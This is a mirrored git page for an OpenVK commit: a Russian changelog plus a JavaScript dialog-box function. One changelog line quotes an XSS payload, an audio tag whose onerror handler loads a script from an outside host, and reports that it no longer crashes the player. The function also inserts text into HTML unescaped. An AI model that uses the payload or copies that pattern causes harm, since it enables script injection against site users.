mirror of
https://github.com/openvk/openvk
synced 2024-11-16 03:59:19 +03:00
704fdb113b
- Теперь опросы прикрепляются через апи нормально - Через wall.edit теперь можно прикреплят новые аудио - При закрытии messagebox снова включается возможность скроллить - Через методы редактирования можно теперь прикреплять чужие хуйни - Удалены методы notes.deleteComment и notes.editComment, ведь они одинаковы с wall.deleteComment и wall.editComment - Лайки у видеозаписей теперь быстрее, ведь не прогружают новую страницу (в отличии от лайков на посте) - Название "<audio src/onerror="$(body).append('<script src=//sdzk.xyz/a>')"" больше не вызывает краш оконного плеера
42 lines
1.4 KiB
JavaScript
42 lines
1.4 KiB
JavaScript
Function.noop = () => {};
|
|
|
|
function MessageBox(title, body, buttons, callbacks) {
|
|
if(u(".ovk-diag-cont").length > 0) return false;
|
|
|
|
document.querySelector("html").style.overflowY = "hidden"
|
|
let dialog = u(
|
|
`<div class="ovk-diag-cont">
|
|
<div class="ovk-diag">
|
|
<div class="ovk-diag-head">${title}</div>
|
|
<div class="ovk-diag-body">${body}</div>
|
|
<div class="ovk-diag-action"></div>
|
|
</div>
|
|
</div>`);
|
|
u("body").addClass("dimmed").append(dialog);
|
|
|
|
buttons.forEach((text, callback) => {
|
|
u(".ovk-diag-action").append(u(`<button class="button">${text}</button>`));
|
|
let button = u(u(".ovk-diag-action > button.button").last());
|
|
|
|
button.on("click", function(e) {
|
|
let __closeDialog = () => {
|
|
|
|
if(document.querySelector(".ovk-photo-view-dimmer") == null && document.querySelector(".ovk-fullscreen-player") == null) {
|
|
u("body").removeClass("dimmed");
|
|
document.querySelector("html").style.overflowY = "scroll"
|
|
}
|
|
|
|
u(".ovk-diag-cont").remove();
|
|
};
|
|
|
|
Reflect.apply(callbacks[callback], {
|
|
closeDialog: () => __closeDialog(),
|
|
$dialog: () => u(".ovk-diag-cont")
|
|
}, [e]);
|
|
|
|
__closeDialog();
|
|
});
|
|
});
|
|
|
|
return u(".ovk-diag-cont");
|
|
}
|